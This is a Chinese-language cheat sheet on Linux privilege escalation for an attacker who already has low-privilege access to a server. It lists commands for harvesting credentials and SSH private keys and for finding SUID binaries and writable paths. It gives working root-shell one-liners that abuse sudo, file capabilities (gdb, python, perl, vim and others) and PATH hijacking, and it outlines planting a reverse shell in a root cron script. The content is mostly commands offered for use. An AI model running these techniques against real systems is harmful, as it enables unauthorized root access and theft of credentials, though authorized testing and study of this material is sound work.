基础
由于服务或其他漏洞渗透进的服务器,所配置的用户权限可能不是特权用户或用户权限较低,操作的局限性很大。权限提升的本质就是从低权限账户转换为高权限用户。
高权限可进一步利用的方法:
- 重置其他账户密码访问其他账户权限文件
- 绕过访问控制的权限操作数据内容
- 更改软件的配置
- 实现持久化
- 更改对应用户权限
提权思路:大概思路是通过信息搜集查找可利用的文件/脚本/软件/用户/内核漏洞/恶意劫持/特定平台漏洞/框架漏洞/组件/等,写入或执行恶意命令/脚本/shell/添加高权限用户,提权成功,然后进一步利用。
基础系统信息收集
内核,操作系统,设备信息
uname -a 打印所有可用的系统信息,可以看到关于主机的内核信息,便于搜索一些利于权限提升的内核漏洞
uname -r 内核版本
uname -n 系统主机名。
uname -m 查看系统内核架构(64位/32位)
hostname 系统主机名通常可以提供关于主机在域中的角色信息,如MYSQL-SERVER
cat /proc/version 内核信息 可以目标系统信息(和uname -a类似)
cat /etc/*-release 分发信息
cat /etc/issue 分发信息 同样可以查看目标系统信息(可以被任意更改)
cat /proc/cpuinfo CPU信息
cat /etc/lsb-release # Debian
cat /etc/redhat-release # Redhat
ls /boot | grep vmlinuz-
Linux内核的版本号命名是有一定规则的,版本号的格式通常为“主版本号.次版本号.修正号”。主版本号和次版本号标志着重要的功能变动,修正号表示较小的功能变更。以5.9.11版本为例,5代表主版本号,9代表次版本号,11代表修正号。其中次版本还有特定的意义:如果是偶数数字,就表示该内核是一个可以放心使用的稳定版;如果是奇数数字,则表示该内核加入了某些测试的新功能,是一个内部可能存在着bug的测试版。
用户和群组
cat /etc/passwd 列出系统上的所有用户
cat /var/mail/root
cat /var/spool/mail/root
cat /etc/group 列出系统上的所有组
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' 列出所有的超级用户账户
whoami 查看当前用户
w 谁目前已登录,他们正在做什么
last 最后登录用户的列表
lastlog 所有用户上次登录的信息
lastlog –u %username% 有关指定用户上次登录的信息
lastlog |grep -v "Never" 以前登录用户的完
用户权限信息
whoami 当前用户名
id 当前用户信息 查看关于当前用户权限和用户组的信息,也可以查看其他用户的相关信息`id root`
cat /etc/sudoers 谁被允许以root身份执行
sudo -l 当前用户可以以root身份执行操作
sudo -l 可以列出当前用户可以使用sudo运行的一些命令
环境信息
env 显示环境变量 PATH变量通常可以看到编译器或者脚本语言的信息
set 现实环境变量
echo %PATH 路径信息
history 显示当前用户的历史命令记录 可以查看当前终端的历史执行命令
pwd 输出工作目录
cat /etc/profile 显示默认系统变量
cat /etc/shells 显示可用的shellrc
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
进程和服务
ps aux 显示所有用户的进程同时显示用户名(包含未连接到终端的进程)
ps axjf命令可以查看进程树
ps -ef
top
cat /etc/services
ps命令通常被用来查看系统运行的进程。(进程状态)的输出ps 将显示以下内容:
PID:进程ID(进程唯一)
TTY:用户使用的终端类型
时间:进程使用的 CPU 时间量(这不是该进程运行的时间)
CMD:正在运行的命令或可执行文件(不会显示任何命令行参数)
查看安装的软件
ls -alh /usr/bin/
ls -alh /sbin/
ls -alh /var/cache/yum/
dpkg -l
服务和插件
cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/
计划任务
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
是否有存放明文密码
grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find / -name "*.php" -print0 | xargs -0 grep -i -n "var $password"
ssh私钥信息
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key
查看与主机通信的信息
lsof -i
lsof -i :80
grep 80 /etc/services
netstat -anptl
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w 显示当前登录用户及这些用户正在做什么的命令。它同时也能显示系统运行时长,当前系统时间和系统平均负载情况。
netstat可以查看现有的连接信息
netstat -at 显示tcp协议的连接
netstat -au 显示udp协议的连接
netstat -l可以以Listen列出端口
日志信息
cat /var/log/boot.log
cat /var/log/cron
cat /var/log/syslog
cat /var/log/wtmp
cat /var/run/utmp
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/
Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp
查看可提权的SUID或GUID
find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.
find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it.
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID
for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)
# find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
查看可写/执行目录
find / -writable -type d 2>/dev/null # world-writeable folders
find / -perm -222 -type d 2>/dev/null # world-writeable folders
find / -perm -o w -type d 2>/dev/null # world-writeable folders
find / -perm -o x -type d 2>/dev/null # world-executable folders
find / \( -perm -o w -perm -o x \) -type d 2>/dev/null # world-writeable & executable folders
Linux提权方法
搜索可用凭证
可能存在备份文件或其他网站服务的配置文件(.conf,.config,.xml,backup*,.bak等)和一些shell脚本或bash历史命令
内核漏洞利用提权
内核提权有风险,可能会导致目标主机崩溃
内核漏洞利用方法:
- 获取关于目标系统的内核信息
- 通过exploit-db或searchsplopit等工具搜索具体的内核版本信息
- 通过python3 -m http.server或wget等服务将poc脚本传送至目标主机
- 运行漏洞利用poc脚本(需要了解漏洞利用代码的工作原理,避免因为漏洞poc执行等原因对目标系统造成特殊的影响,或漏洞代码需要进行某些交互功能)
官方放出的EXP:链接
提权为root权限的EXP一:链接
提权为root权限的EXP二:链接
sudo提权
默认情况下,sudo命令允许用户以root权限运行程序。在某些情况下,系统管理员可能需要为普通用户提供一定的权限灵活性。 任何用户都可以使用
sudo -l 命令查看其当前与 root 权限相关的情况。
使用sudo -l
查看可利用的sudo权限工具
在https://gtfobins.github.io/
搜索对应的工具名称,利用页面中的提示进行提权
举几个例子
find提权
输入sudo find . -exec /bin/sh \; -quit
less提权
输入sudo less /etc/profile
输入!/bin/sh
即可提升权限至root
nano提权
方法一:
输入sudo nano
连续键入ctrl+r
和ctrl+x
两个组合键
输入命令reset; sh 1>&0 2>&0
提权至root
方法二:
输入sudo nano -s /bin/sh
输入/bin/sh
,再键入ctrl+t
组合键
剩下的直接去搜吧
SUID提权
许多 Linux 权限控制依赖于控制用户和文件交互。我们知道文件有读、写和可执行权限(rwx)
通常来说,Linux运行一个程序,是使用当前运行这个程序的用户权限,这当然是合理的。但是有一些程序比较特殊,比如我们常用的ping命令。
ping需要发送ICMP报文,而这个操作需要发送Raw Socket。在Linux 2.2引入CAPABILITIES前,使用Raw Socket是需要root权限的(当然不是说引入CAPABILITIES就不需要权限了,而是可以通过其他方法解决,这个后说),所以你如果在一些老的系统里ls -al $(which ping)
,可以发现其权限是-rwsr-xr-x
,其中有个s位,这就是suid。
suid全称是Set owner User ID up on execution。这是Linux给可执行文件的一个属性,上述情况下,普通用户之所以也可以使用ping命令,原因就在我们给ping这个可执行文件设置了suid权限。
设置了s位的程序在运行时,其Effective UID
将会设置为这个程序的所有者。比如,/bin/ping
这个程序的所有者是0(root),它设置了s位,那么普通用户在运行ping时其Effective UID就是0,等同于拥有了root权限。
Effective UID:Linux进程在运行时有三个UID: Real UID 执行该进程的用户实际的UID Effective UID 程序实际操作时生效的UID(比如写入文件时,系统会检查这个UID是否有权限) Saved UID
在高权限用户降权后,保留的其原本UID
通常情况下Effective UID和Real UID相等,所以普通用户不能写入只有UID=0号才可写的/etc/passwd
;有suid的程序启动时,Effective UID就等于二进制文件的所有者,此时Real UID就可能和Effective UID不相等了。
首先要找到有SUID或者SGID权限的文件find / -type f -perm -04000 -ls 2>/dev/null
同样的,可以在https://gtfobins.github.io/#+suid里寻找相关命令
Capabilities提权
Linux
2.2以后增加了capabilities的概念,可以理解为水平权限的分离。以往如果需要某个程序的某个功能需要特权,我们就只能使用root来执行或者给其增加SUID权限,一旦这样,我们等于赋予了这个程序所有的特权,这是不满足权限最小化的要求的;在引入capabilities后,root的权限被分隔成很多子权限,这就避免了滥用特权的问题,我们可以在capabilities(7) - Linux manual page中看到这些特权的说明。
1.首先利用getcap -r / 2>/dev/null
查看设置了capabilities的可执行文件
2.利用命令提权,可以参考GTFOBins(有些命令不适合所有终端)
# gbd的利用方法
./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
#node的利用方法
./node -e 'process.setuid(0); child_process.spawn("/bin/sh", {stdio: [0, 1, 2]})'
#perl的利用方法
./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
#php的利用方法
./php -r "posix_setuid(0); system('/bin/sh');"
#pythond的利用方法
./python -c 'import os; os.setuid(0); os.system("/bin/sh")'
#ruby的利用方法
./ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'
#rview的利用方法
./rview -c ':lua os.execute("reset; exec sh")'
#rvim的利用方法
./rvim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
#view的利用方法
./view -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
#vim的利用方法
./vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
#vimdiff的利用方法
./vimdiff -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
CronJob定时任务
定时任务通常被设置用于备份文件、清理目录内容等。crontab命令可以创建一个cron文件,以指定的时间区间运行。
可以查看/etc/crontab
查看CronJob文件
root用户的crontab能被root用户或完全sudo权限的用户编辑。可以在此时查找一个以root用户身份运行的当前用户可更改的读写脚本。
1.找到一个可读写更改的脚本
2.更改其内容进行反弹shell的操作
3.如果目标机器的CronJob存在,但文件已被删除,如
如果未定义脚本的完整路径,cron 将引用 /etc/crontab 文件中 PATH 变量下列出的路径。可以被当前用户利用。
PATH提权
找到可写目录
find / -writable 2>/dev/null
cp /bin/bash /tmp/ifconfig # 将bash改名为ifconfig并放到tmp目录下
chmod 777 /tmp/ifconfig
export PATH=/tmp:$PATH # 将tmp路径添加到环境变量头部